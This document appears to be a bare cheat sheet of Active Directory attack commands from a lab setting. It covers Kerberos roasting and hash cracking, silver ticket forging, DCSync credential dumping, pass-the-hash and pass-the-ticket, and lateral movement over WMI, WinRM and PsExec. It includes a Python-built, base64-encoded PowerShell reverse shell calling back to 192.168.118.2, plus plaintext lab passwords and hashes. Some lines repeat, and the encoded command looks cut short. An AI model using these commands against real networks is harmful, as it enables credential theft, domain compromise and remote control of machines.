hashcat --help | grep -i "Kerberos"
sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
.\Rubeus.exe asreproast /nowrap
cat hashes.kerberoast
hashcat --help | grep -i "Kerberos"
sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

Kerberoasting

sudo ntpdate corp.com
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
sudo impacket-GetUserSPNs -request -dc-ip 192.168.50.70 corp.com/pete     
cat hashes.kerberoast
hashcat --help | grep -i "Kerberos"
sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

Silver Ticket

kerberos::golden /sid:S-1-5-21-1987370270-658905905-1781884369 /domain:corp.com /ptt /target:web04.corp.com /service:http /rc4:4d28cf5252d39971419580a51484ca09 /user:jeffadmin

DCSYNC

lsadump::dcsync /user:corp\dave
lsadump::dcsync /user:corp\Administrator
impacket-secretsdump -just-dc-user dave corp.com/jeffadmin:"BrouhahaTungPerorateBroom2023\!"@192.168.50.70
hashcat -m 1000 hashes.dcsync /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

Lateral Movement

WMI

import sys
import base64

payload = '$client = New-Object
System.Net.Sockets.TCPClient("192.168.118.2",443);$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0,
$bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-
String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Leng
th);$stream.Flush()};$client.Close()'

cmd = "powershell -nop -w hidden -e " +
base64.b64encode(payload.encode('utf16')[2:]).decode()
print(cmd)
$username = 'jen';
$password = 'Nexus123!';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
$Options = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName 192.168.50.73 -Credential
$credential -SessionOption $Options
$Command = 'powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA';
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};

WinRM

$username = 'jen';
$password = 'Nexus123!';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
New-PSSession -ComputerName 192.168.50.73 -Credential $credential

PsExec

./PsExec64.exe -i  \\FILES04 -u corp\jen -p Nexus123! cmd

Pass The Hash

impacket-wmiexec -hashes :2892D26CDF84D7A70E2EB3B9F05C425E Administrator@192.168.50.73
impacket-psexec -hashes :2892D26CDF84D7A70E2EB3B9F05C425E Administrator@192.168.50.73

Overpass the Hash

privilege::debug
sekurlsa::logonpasswords
sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell
klist
net use \\files04
klist
.\PsExec.exe \\files04 cmd

Pass the Ticket

privilege::debug
sekurlsa::tickets /export
kerberos::ptt [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi
klist
ls \\web04\backup

Last updated